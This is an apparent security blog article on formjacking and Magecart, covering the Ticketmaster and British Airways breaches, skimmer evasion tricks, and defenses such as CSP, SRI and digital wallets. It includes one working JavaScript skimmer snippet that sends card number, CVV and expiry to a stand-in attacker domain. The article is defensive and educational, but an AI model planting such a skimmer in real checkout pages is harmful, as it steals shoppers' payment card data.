Cyber Threats #formjacking#Magecart#payment security

Formjacking: How Magecart Steals Your Payment Data

Formjacking attacks inject malicious JavaScript into checkout forms to steal payment card data in real time. Learn how Magecart works and how to defend.

7 min read

When you type your credit card number into an online checkout form, you assume the only recipient is the merchant. Formjacking attacks break that assumption entirely. A few lines of malicious JavaScript, invisibly embedded in the page, silently copies your keystrokes and card data and sends them to an attacker’s server in real time — before you even click Submit.

The group most associated with this attack class, Magecart, is not a single organization but a collective umbrella term for at least a dozen distinct threat groups that have been operating formjacking campaigns since approximately 2015. Their victims have included British Airways, Ticketmaster, Newegg, Macy’s, and thousands of smaller e-commerce sites.

How Formjacking Works

The Skimmer Script

A formjacking skimmer is typically a compact JavaScript snippet, often obfuscated to evade detection. Its core function is straightforward:

  1. Listen for form submission events or keystroke events on payment input fields
  2. Collect the field values: card number, expiry date, CVV, cardholder name, billing address
  3. Exfiltrate the data to an attacker-controlled server, often disguised as an analytics beacon or image request

A simplified (non-malicious) illustration of the core logic:

document.getElementById('payment-form').addEventListener('submit', function() {
  var data = {
    card: document.getElementById('card-number').value,
    cvv: document.getElementById('cvv').value,
    exp: document.getElementById('expiry').value
  };
  navigator.sendBeacon('https://attacker-domain.com/collect', JSON.stringify(data));
});

Real Magecart skimmers are far more sophisticated: they test whether the current page is a checkout page before activating, check for security researcher environments to avoid detection, and encode exfiltrated data using Base64 or custom XOR ciphers.

Supply Chain Compromise: The Third-Party Script Vector

Directly compromising a major retailer’s web server is difficult. But that retailer’s page may load 20–40 third-party JavaScript files: analytics, A/B testing, chat widgets, tag managers, review widgets, and ad tech. Each of those third parties is a potential entry point.

The Ticketmaster breach (2018) exemplifies this: Magecart compromised Inbenta, a third-party customer support chatbot vendor. A single JavaScript file from Inbenta loaded on Ticketmaster’s payment pages contained the skimmer. Ticketmaster’s own systems were never directly breached. Approximately 40,000 customers had their payment details stolen.

British Airways (2018) was similarly compromised via a modified script on their own servers. Attackers gained access to the site’s infrastructure and modified a single JavaScript file, exposing 500,000 customers’ data. The UK Information Commissioner’s Office (ICO) issued an initial fine of £183 million under GDPR.

How Skimmers Evade Detection

Evasion TechniqueDescription
ObfuscationVariable names replaced with random strings; logic split across multiple files
EncodingPayload encoded in Base64, hexadecimal, or custom ciphers
Domain mimicryExfil domain resembles legitimate CDN (e.g., google-analytics.cm vs .com)
Conditional activationScript only runs on checkout pages (/checkout, /payment)
Sandbox detectionChecks for DevTools being open; goes dormant when detected
Delayed executionScript sleeps for hours before activating to avoid behavior analysis
Legitimate CDN hostingAttacker uploads skimmer to legitimate cloud storage (AWS S3, Azure Blob)

How to Check If a Site Is Compromised

You cannot reliably detect formjacking as a consumer by looking at the page. HTTPS does not help — the skimmer runs in the same browser context as the legitimate page and sends data out through an encrypted connection to an attacker server. However, there are technical steps you can take:

For technically inclined users:

  1. Open browser DevTools (F12) → Network tab → look for outbound requests to unfamiliar domains during form interaction
  2. Check the page source for recently added external script tags from unfamiliar CDN domains
  3. Use browser extensions like uMatrix or NoScript to block JavaScript from unrecognized third-party origins

Tools for security teams:

  • VirusTotal URL scanner — paste the checkout page URL; it will flag known malicious scripts
  • urlscan.io — scans a page and shows all outbound network requests made during page load
  • Sucuri SiteCheck — free website malware scanner that detects known Magecart signatures
  • SubResource Integrity (SRI) auditing — check whether third-party scripts have integrity hash attributes

Browser-Side Defense

Use virtual card numbers. Services like Privacy.com (US), Revolut (UK/EU), and most major credit card issuers’ virtual card features generate single-use or merchant-locked card numbers. Even if a skimmer captures the number, it cannot be used elsewhere.

Use digital wallets at checkout. Apple Pay, Google Pay, and Samsung Pay use tokenization — the merchant (and any skimmer) never sees your actual card number. This is the single most effective consumer defense against formjacking.

Install a Content Security Policy (CSP) checker extension. Sites with strict CSPs restrict which external domains can receive data. Checking a site’s CSP before entering payment info (viewable in DevTools → Network → Response Headers) gives you a rough indicator of their security posture.

Defense for Website Owners and Developers

Implement Content Security Policy (CSP). A strict CSP prevents scripts from sending data to unauthorized domains:

Content-Security-Policy: script-src 'self' https://trusted-cdn.com; connect-src 'self' https://payment-processor.com;

This alone would have prevented most Magecart exfiltration attacks — the outbound beacon to the attacker’s domain would have been blocked by the browser.

Use Subresource Integrity (SRI) for all third-party scripts. SRI requires the browser to verify a cryptographic hash before executing an external script. If Ticketmaster had used SRI on the Inbenta script, the tampered version would have been silently refused:

<script src="https://cdn.inbenta.com/widget.js"
        integrity="sha384-[hash]"
        crossorigin="anonymous"></script>

Audit your third-party script inventory regularly. Know what scripts your site loads. Any new script added by a third-party vendor should trigger a security review. Tools like Feroot Security and Source Defense specialize in continuous monitoring of client-side scripts for e-commerce sites.

Monitor for unexpected script changes. Use file integrity monitoring (FIM) tools or a CI/CD check that alerts on unauthorized changes to JavaScript files in your web root.

Formjacking is a patient, precise attack that exploits the implicit trust web pages extend to their own JavaScript environment. The defenses exist — CSP, SRI, virtual cards, digital wallets — but they require deliberate implementation. In a world where a single compromised analytics vendor can expose millions of shoppers simultaneously, supply chain security for client-side JavaScript is no longer optional.

#JavaScript #supply chain attack #payment security #Magecart #formjacking